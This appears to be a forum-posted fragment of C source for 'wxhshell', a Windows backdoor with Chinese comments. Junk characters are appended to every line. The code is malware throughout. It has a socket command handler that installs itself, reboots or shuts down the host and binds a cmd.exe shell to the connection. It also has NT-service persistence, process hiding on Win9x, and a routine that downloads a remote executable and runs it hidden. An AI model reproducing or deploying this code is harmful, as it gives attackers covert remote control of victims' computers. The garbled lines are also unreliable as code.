  } O~w&4F;{  
  else { Rsqb<+7  
ULAAY$o@5  
    switch(cmd[0]) { 7X1T9'j I2  
  KLlW\MF1  
  // 帮助 qifX7AXHr  
  case '?': { -Vw,9VCF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,GGr@})  
    break; ?!8M I,c/  
  } r1xN U0A  
  // 安装 V[A uw3)  
  case 'i': { n|3ENN  
    if(Install()) #(!>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  lcyan  
    else @/XA*9]l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 91e&-acA  
    break; 3fM~R+p  
    } $^d,>hJi  
  // 卸载 Xb3z<r   
  case 'r': { L)J0T Sh  
    if(Uninstall()) (|"K sGl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b`fPP{mG  
    else X> =`{JS1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _KC()OIeC  
    break; \h?C G_|]  
    } yw$er?  
  // 显示 wxhshell 所在路径 }M * Oo  
  case 'p': { (wnkdI{  
    char svExeFile[MAX_PATH]; ErHbc 2  
    strcpy(svExeFile,"\n\r"); ;ukwKf s  
      strcat(svExeFile,ExeFile); K`768 %q  
        send(wsh,svExeFile,strlen(svExeFile),0); 9UZKL@KC  
    break; jL>IX`,+6  
    } 8( 7DW |\  
  // 重启 +P81&CaY  
  case 'b': { Hh4$Qr;R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BUuNI_?M#5  
    if(Boot(REBOOT)) PiP\T.XANa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y2 yW91B,  
    else { OT&J OTk\  
    closesocket(wsh); W{Ine> a'  
    ExitThread(0); DHd9yP9-  
    } C /\)-^  
    break; O2-9Oo@#,  
    } G!uoKiL  
  // 关机 g,r'].Jg  
  case 'd': { fOtL6/?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8:|F'{<<b  
    if(Boot(SHUTDOWN)) AK} wSXF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I!|_C~I`2  
    else { 1c8 J yp  
    closesocket(wsh); V^As@P8,'(  
    ExitThread(0); k$j>_U? P  
    } 6DD"Asi+  
    break; tQ&.;{5[f  
    } LaG./+IP  
  // 获取shell CMI%jyiX  
  case 's': { JJPU!  
    CmdShell(wsh); ~q5"'  
    closesocket(wsh); #ih(I7prH  
    ExitThread(0); T'"aStt6  
    break; N p$pz  
  } d @<(Z7|  
  // 退出 3Gubq4r  
  case 'x': { T;IaVMFG|d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x$tx!%,)/S  
    CloseIt(wsh); q]ER_]%Gna  
    break; 2Xys;Dwx  
    } D .oX>L#:  
  // 离开 ^y]CHr  
  case 'q': { o['HiX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); waz)jEk  
    closesocket(wsh); Zui2O-L?V  
    WSACleanup(); I6,'o)l{_  
    exit(1); NTkGLD1e.  
    break; 4p\<b8(9>  
        } *Fi`o_d9[`  
  } PbvRh~n  
  } iC10|0%{  
7Ps I'1v  
  // 提示信息 FctqE/>}I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J\^ZRu_K  
} <C`qJP-  
  } ^1sX22k  
lTBPq?4{  
  return; $vlq]6V8  
} PGF=q|j9K  
* 7u~`  
// shell模块句柄 _~ZNX+4  
int CmdShell(SOCKET sock) /7/d u[P6  
{ w7 @fiH{  
STARTUPINFO si; 3(0k!o0 "  
ZeroMemory(&si,sizeof(si)); .'k]]2%ILp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (A|Gb2X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @KfFt R-;  
PROCESS_INFORMATION ProcessInfo; =ZR9zL=h  
char cmdline[]="cmd"; a|Io)Qhr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eK PxSN Z  
  return 0; h,o/(GNnW  
} j6]+ fo&3  
EnnT)qos  
// 自身启动模式 YBqu7&  
int StartFromService(void) bi;?)7p&ZY  
{ T[]2]K[&B  
typedef struct e33j&:O  
{ 9JYrP6I!_  
  DWORD ExitStatus; [@fw9@_'  
  DWORD PebBaseAddress; 4wk-f7I(  
  DWORD AffinityMask; GVhO}m  
  DWORD BasePriority; h U\)CM  
  ULONG UniqueProcessId; +LuGjDn0  
  ULONG InheritedFromUniqueProcessId; EhL 8rR  
}   PROCESS_BASIC_INFORMATION; KJ M :-z@  
^m8T$^z>  
PROCNTQSIP NtQueryInformationProcess; Dvbrpn!sk  
&7"a.&*9xX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /T1z z2l~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  yV[9 (  
 AV{3f`  
  HANDLE             hProcess; 7N9~nEU  
  PROCESS_BASIC_INFORMATION pbi; #-*7<wN   
[!H2i p-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o!!";q%DX  
  if(NULL == hInst ) return 0; *5?a% p  
t\Pn67t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nm5zX,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x(pq!+~K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |U)m'W-(q  
G347&F)  
  if (!NtQueryInformationProcess) return 0; = }0M^F  
{5w'.Z]0v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (WZKqt)S"o  
  if(!hProcess) return 0; 0goKiPx  
A[)od   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RP 'VEJ   
:ZG^`H/X1d  
  CloseHandle(hProcess); 6$c,#%Jt*  
7ADh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e&%m[:W:<  
if(hProcess==NULL) return 0; ^PA[fL"  
o>*vG  
HMODULE hMod; Elth xj  
char procName[255]; 9 f$S4O5  
unsigned long cbNeeded; 8fA9yQ 8  
l,AK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DY1?37h  
jyQ Bx  
  CloseHandle(hProcess); ;Yo9e~  
wgfy; #  
if(strstr(procName,"services")) return 1; // 以服务启动 3 d $  
_%^t[4)q  
  return 0; // 注册表启动 \)Jv4U\;  
} &* GwA  
!_0kn6 S5  
// 主模块 LoZ8;VU  
int StartWxhshell(LPSTR lpCmdLine) mw0#Dhyy1=  
{ Y*nzOD$  
  SOCKET wsl; 4bXAA9"  
BOOL val=TRUE; tTrUVuZ  
  int port=0; B~z P!^m  
  struct sockaddr_in door; SxV(.i'  
at7|r\`?-  
  if(wscfg.ws_autoins) Install(); N'hj  
P5M+usx  
port=atoi(lpCmdLine); zWvG];fsN  
]yu,YZ@7  
if(port<=0) port=wscfg.ws_port; 3l5rUjRwj  
#;cDPBv*wS  
  WSADATA data; KQ'fp:5|/@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .C=&` ;Vs  
.s$#: ls?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +9Z RCmV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d.y2`wT  
  door.sin_family = AF_INET; eveGCV;@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b(&~f@% |  
  door.sin_port = htons(port); +LddW0h+=8  
bDd$79@m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bSHlR#!6  
closesocket(wsl); N_S>%Z+  
return 1; LL3RC6;e  
} 8\c= Un  
{MX_t/o=f  
  if(listen(wsl,2) == INVALID_SOCKET) { XP'Mv_!Z  
closesocket(wsl); | rJ_  
return 1; %4QCUc*lr  
} ONQp-$  
  Wxhshell(wsl); KI(9TI *  
  WSACleanup(); xR+=F1y  
}gi>Z  
return 0; !M:m(6E1  
#6{"c r6l  
} il^SGH  
N!6{c~^  
// 以NT服务方式启动 +js3o@Ku{\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bh=d'9B@&J  
{ "aNl2T  
DWORD   status = 0; `K[:<p}  
  DWORD   specificError = 0xfffffff; tm\ <w H  
wqDRFZ1*P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^9T6Ix{=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EFeGxM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n =v4m_e  
  serviceStatus.dwWin32ExitCode     = 0; it!i'lG  
  serviceStatus.dwServiceSpecificExitCode = 0; !fdni}f)  
  serviceStatus.dwCheckPoint       = 0; {#M=gDhbX  
  serviceStatus.dwWaitHint       = 0; qmUq9bV  
9_IR%bm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }D.?O,ue  
  if (hServiceStatusHandle==0) return;  I 0ycLx  
wP3PI.g-g  
status = GetLastError(); @~6A9Fr  
  if (status!=NO_ERROR) =QEg~sD^)s  
{ rC]jz$sle  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]*a)'k_@[  
    serviceStatus.dwCheckPoint       = 0; J{72%S  
    serviceStatus.dwWaitHint       = 0; .K^'Q|?  
    serviceStatus.dwWin32ExitCode     = status; @ [_I|  
    serviceStatus.dwServiceSpecificExitCode = specificError; Db({k,P'Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;cZ9C 1  
    return; jeb<qi>  
  } F=   
z79L2lJn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |7WzTz  
  serviceStatus.dwCheckPoint       = 0; &|<~J (L;  
  serviceStatus.dwWaitHint       = 0; .UbmU^y|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vj0`[X   
} M"F?'zTkJ  
#f]R:Ix>  
// 处理NT服务事件,比如:启动、停止 gUDd2T#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GV)#>PL  
{ e 1{t qNJ  
switch(fdwControl) bj` cYL%  
{ G}i\UXFE  
case SERVICE_CONTROL_STOP: , 6\i  
  serviceStatus.dwWin32ExitCode = 0; >VP\@xt(R[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #V-qS/ q"  
  serviceStatus.dwCheckPoint   = 0; l ,)l"6OV  
  serviceStatus.dwWaitHint     = 0; g92M\5 x9  
  { wbI(o4rXE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); | (P%<  
  } P,AS`=z  
  return; 9\TvX!)h  
case SERVICE_CONTROL_PAUSE: LXIlrZ9D5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `g% ]z@'+?  
  break; !$h%$se  
case SERVICE_CONTROL_CONTINUE: rBs7,h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y5?T`ts,#  
  break; Cq1t[a  
case SERVICE_CONTROL_INTERROGATE: #Q6wv/"Ub  
  break; S6}_Z  
}; d T/*O8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &nn!{S^  
} /6F 1=O(c>  
fT._Os?i  
// 标准应用程序主函数 ,IuO;UV#)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YkPz ~;  
{ 7=om /  
u]E%R&  
// 获取操作系统版本 @&+h3dV.V  
OsIsNt=GetOsVer(); ?t)y/@eG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x=1G|<z%  
`]]gD EPG{  
  // 从命令行安装 ]Vjn7P`~ N  
  if(strpbrk(lpCmdLine,"iI")) Install(); #f.@XIt'  
Cd#*Wp)s  
  // 下载执行文件 f&`v-kiAn=  
if(wscfg.ws_downexe) { )Tngtt D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  9 N=KU  
  WinExec(wscfg.ws_filenam,SW_HIDE); PGT!HdX#{  
} Tv3ZNh  
EBzg<-?o  
if(!OsIsNt) { !=&]#-;b  
// 如果时win9x,隐藏进程并且设置为注册表启动 ml=1R >#'  
HideProc(); T'XAcH  
StartWxhshell(lpCmdLine); oiO3]P]P  
} &\sg~  
else !QVd'e  
  if(StartFromService()) R ;5w*e}?5  
  // 以服务方式启动 i BJ*6orz  
  StartServiceCtrlDispatcher(DispatchTable); i )3Y\ u  
else i[3$Wi$  
  // 普通方式启动 #2yOqUO\  
  StartWxhshell(lpCmdLine); * V W \  
ygpC1nN  
return 0; Vu`dEv L?  
}
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只看该作者 1 发表于: 2006-10-10
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